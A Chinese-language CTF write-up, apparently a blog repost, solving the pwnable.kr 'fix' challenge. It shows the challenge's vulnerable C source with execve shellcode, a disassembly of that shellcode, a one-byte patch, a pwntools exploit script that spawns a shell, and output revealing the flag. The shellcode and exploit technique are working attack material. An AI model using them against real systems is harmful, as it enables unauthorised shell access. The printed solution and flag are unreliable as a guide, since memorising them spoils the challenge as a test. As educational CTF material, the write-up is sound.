【pwnable.kr】 fix

https://r00tnb.github.io/2018/02/27/pwnable.kr-fix/

前言

看似简单的改代码题,但是还是需要强大的汇编知识。花了很长时间,主要是自己对指令不是很熟悉。

分析

先分析源码fix.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#include <stdio.h>

// 23byte shellcode from http://shell-storm.org/shellcode/files/shellcode-827.php
char sc[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
		"\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";

void shellcode(){
	// a buffer we are about to exploit!
	char buf[20];

	// prepare shellcode on executable stack!
	strcpy(buf, sc);

	// overwrite return address!
	*(int*)(buf+32) = buf;

	printf("get shell\n");
}

int main(){
        printf("What the hell is wrong with my shellcode??????\n");
        printf("I just copied and pasted it from shell-storm.org :(\n");
        printf("Can you fix it for me?\n");

	unsigned int index=0;
	printf("Tell me the byte index to be fixed : ");
	scanf("%d", &index);
	fflush(stdin);

	if(index > 22)	return 0;

	int fix=0;
	printf("Tell me the value to be patched : ");
	scanf("%d", &fix);

	// patching my shellcode
	sc[index] = fix;	

	// this should work..
	shellcode();
	return 0;
}

 

程序逻辑简单,如题目所说shellcode无法正确执行,但我们只能修改其中一个字节。看了shellcode函数,开始以为是地址布置出错,但是看了反汇编代码发现返回地址的计算没有错误,于是反汇编一下shellcode看看有没有问题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Python 2.7.12 (default, Dec  4 2017, 14:50:18) 
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import *
>>> a="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
>>> a+="\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
>>> print disasm(a)
   0:   31 c0                   xor    eax,eax
   2:   50                      push   eax
   3:   68 2f 2f 73 68          push   0x68732f2f
   8:   68 2f 62 69 6e          push   0x6e69622f
   d:   89 e3                   mov    ebx,esp
   f:   50                      push   eax
  10:   53                      push   ebx
  11:   89 e1                   mov    ecx,esp
  13:   b0 0b                   mov    al,0xb
  15:   cd 80                   int    0x80
>>>

 

仔细分析代码发现shellcode并没有问题,后来放在gdb调试的时候发现在执行shellcode的时候,shellcode的代码会变化。。这就很奇怪了,啥问题呢?仔细分析栈空间的排布就知道了,shellcode布置在栈中占了23个字节,buf变量的位置是ebp-0x1c(反汇编代码就能看出),所以shellcode尾部达到了ebp-5,然而函数返回执行shellcodeesp指向返回地址下面4个字节,这里相距shellcode13字节,所以后续的pop操作只能执行3次,否则就会覆盖shellcode的部分代码,造成执行失败。
知道了失败的原因那么如何通过只修改一个字节达到执行成功的目的呢?这里确实得熟悉汇编指令才行,我的思路是修改push eaxleave指令(他们都是单子节指令),这样当执行到这里时就相当于执行了mov esp,ebp;pop ebp。于是栈顶就下降了后续的pop就不会修改shellcode了,但是这样的话shellcode虽然会正确执行但是会报错

1
2
3
4
5
6
7
8
9
10
root@1:~/桌面/test$ ./fix
What the hell is wrong with my shellcode??????
I just copied and pasted it from shell-storm.org :(
Can you fix it for me?
Tell me the byte index to be fixed : 15
Tell me the value to be patched : 201
get shell
/bin//sh: 0: Can't open ����
                             P��c
root@1:~/桌面/test$

 

这说明我们已经成功执行/bin/sh了,但是似乎这样的修改增加/bin/sh的参数。确实如此,执行leave指令后,栈已经变了,就无法保证ecx指向的第二个字符串是0,所以可能就会多出别的参数。这里可以根据错误提示新建一个和错误提示的一样的文件,然后在里面写入sh,这样当再次执行程序时,就会试图执行这个文件的命令了。另外这个多出的参数由于是栈上的数据,而不是栈地址,所以它不具有随机性,所以这种方法可行而且实际上确实可行。下面贴出exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *

def work():
    context(arch='i386',os='linux',log_level='info')
    the_path = '/home/fix/fix'
    r = process(the_path)
    
    #r.recvuntil("fixed : ")
    r.sendline("15")
    #r.recvuntil("patched : ")
    r.sendline("201")
    r.recvuntil('get shell\n')
    error_text = r.recvline()
    r.kill()
    
    a = error_text.find('open ')
    fname = error_text[a+5:-1]
    f = open(fname,'w')
    f.write('sh\n')
    f.close()
    
    r = process(the_path)
    r.sendline("15")
    r.sendline("201")
    r.interactive()

work()

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
fix@ubuntu:/tmp$ python 1.py
[+] Starting local process '/home/fix/fix': Done
[*] Stopped program '/home/fix/fix'
[+] Starting local process '/home/fix/fix': Done
[*] Switching to interactive mode
What the hell is wrong with my shellcode??????
I just copied and pasted it from shell-storm.org :(
Can you fix it for me?
Tell me the byte index to be fixed : Tell me the value to be patched : get shell
$ ls
ls: cannot open directory '.': Permission denied
$ cd /home/fix
$ ls
fix  fix.c  flag  intended_solution.txt
$ cat flag
Sorry for blaming shell-strom.org :) it was my ignorance!
$

注意要把exp上传题目平台执行

总结

虽说是改代码的题,但是还是学到了很多。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值